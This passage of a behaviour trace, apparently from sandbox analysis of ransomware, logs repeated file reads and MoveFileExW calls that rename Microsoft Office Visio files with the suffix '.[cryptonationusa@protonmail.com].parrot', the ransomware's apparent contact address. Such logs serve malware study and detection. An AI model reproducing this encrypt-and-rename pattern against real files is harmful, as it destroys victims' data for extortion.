SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FASTN2_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fastn2_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FASTN2_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fastn2_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.897] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.897] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.898] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.899] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2e800, lpOverlapped=0x0) returned 1 [0218.910] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FASTN2_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fastn2_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FASTN2_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fastn2_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.923] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.923] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.925] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.925] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9e00, lpOverlapped=0x0) returned 1 [0218.930] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FAULT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fault_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FAULT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fault_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.938] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.938] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.939] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7800, lpOverlapped=0x0) returned 1 [0218.940] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FAULT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fault_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FAULT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fault_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.947] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.947] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.949] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.949] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9a00, lpOverlapped=0x0) returned 1 [0218.950] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FAULT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fault_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FAULT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fault_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.955] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.955] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.957] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.957] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7800, lpOverlapped=0x0) returned 1 [0218.958] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FAULT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fault_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FAULT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fault_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.963] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.963] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0218.964] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.964] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ee00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2ee00, lpOverlapped=0x0) returned 1 [0218.970] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FLOSHP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\floshp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FLOSHP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\floshp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0218.981] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0218.982] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.019] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.019] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2b800, lpOverlapped=0x0) returned 1 [0219.030] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FLOSHP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\floshp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FLOSHP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\floshp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.043] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.043] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.062] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.063] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17e00, lpOverlapped=0x0) returned 1 [0219.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FLRPLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\flrpln_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FLRPLN_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\flrpln_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.084] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.084] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.085] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.086] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17c00, lpOverlapped=0x0) returned 1 [0219.090] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FLRPLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\flrpln_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FLRPLN_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\flrpln_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.104] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.104] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.106] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xac00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xac00, lpOverlapped=0x0) returned 1 [0219.108] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPALL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpall_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPALL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpall_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.115] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.116] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.117] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.117] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xae00, lpOverlapped=0x0) returned 1 [0219.118] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPALL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpall_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPALL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpall_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.125] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.125] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.128] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.128] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4bc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4bc00, lpOverlapped=0x0) returned 1 [0219.139] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPASSM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpassm_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPASSM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpassm_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.157] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.157] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.158] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.159] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x40200, lpOverlapped=0x0) returned 1 [0219.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPASSM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpassm_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPASSM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpassm_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.238] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.239] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.240] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.240] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4e400, lpOverlapped=0x0) returned 1 [0219.257] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPEQP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpeqp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPEQP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpeqp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.279] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.279] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.281] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.281] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x45e00, lpOverlapped=0x0) returned 1 [0219.302] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPEQP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpeqp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPEQP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpeqp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.320] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.320] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.323] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.323] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3a200, lpOverlapped=0x0) returned 1 [0219.334] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPVALV_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpvalv_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPVALV_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpvalv_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.439] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.439] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.441] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.441] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x34c00, lpOverlapped=0x0) returned 1 [0219.454] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPVALV_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpvalv_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\FPVALV_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\fpvalv_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0219.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0219.471] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0219.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.473] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, 